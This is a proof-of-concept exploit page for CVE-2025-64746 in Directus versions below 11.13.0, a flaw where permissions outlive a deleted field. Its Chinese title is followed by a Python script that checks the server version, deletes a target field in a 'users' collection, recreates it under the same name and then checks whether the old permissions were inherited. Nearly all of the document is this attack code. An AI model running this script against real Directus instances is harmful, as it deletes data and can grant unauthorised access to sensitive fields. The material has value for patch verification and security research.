CVE-2025-64746 Directus字段删除权限残留导致未授权访问

# CVE-2025-64746 PoC - Directus Field Permission Stale Reference # This PoC demonstrates the permission inheritance vulnerability import requests import json TARGET_URL = "https://vulnerable-directus-instance.com" API_TOKEN = "your-low-privilege-token" TARGET_COLLECTION = "users" FIELD_NAME = "sensitive_field" def check_version(): """Check if Directus version is vulnerable (< 11.13.0)""" response = requests.get(f"{TARGET_URL}/server/info", headers={"Authorization": f"Bearer {API_TOKEN}"}) version = response.json().get("data", {}).get("version", "") major, minor, patch = map(int, version.split(".")[:3]) if major < 11 or (major == 11 and minor < 13): print(f"[+] Version {version} is vulnerable") return True return False def delete_field(field_name): """Step 1: Delete the target field""" response = requests.delete( f"{TARGET_URL}/fields/{TARGET_COLLECTION}/{field_name}", headers={"Authorization": f"Bearer {API_TOKEN}"} ) return response.status_code == 204 def create_field(field_name): """Step 2: Create new field with same name""" payload = { "field": field_name, "type": "string", "meta": {"special": "file"} } response = requests.post( f"{TARGET_URL}/fields/{TARGET_COLLECTION}", headers={"Authorization": f"Bearer {API_TOKEN}"}, json=payload ) return response.status_code in [200, 201] def check_permissions_inheritance(): """Step 3: Verify if new field inherited stale permissions""" response = requests.get( f"{TARGET_URL}/permissions", headers={"Authorization": f"Bearer {API_TOKEN}"} ) permissions = response.json().get("data", []) # Check if permissions exist for the field field_perms = [p for p in permissions if p.get("field") == FIELD_NAME and p.get("collection") == TARGET_COLLECTION] if field_perms: print(f"[+] Stale permissions found for field '{FIELD_NAME}'") print(f"[+] Permissions: {json.dumps(field_perms, indent=2)}") return True return False def main(): if not check_version(): print("[-] Version is not vulnerable") return print("[*] Step 1: Deleting field...") delete_field(FIELD_NAME) print("[*] Step 2: Creating field with same name...") create_field(FIELD_NAME) print("[*] Step 3: Checking permission inheritance...") if check_permissions_inheritance(): print("[+] Vulnerability confirmed: stale permissions inherited") else: print("[-] No permission inheritance detected") if __name__ == "__main__": main()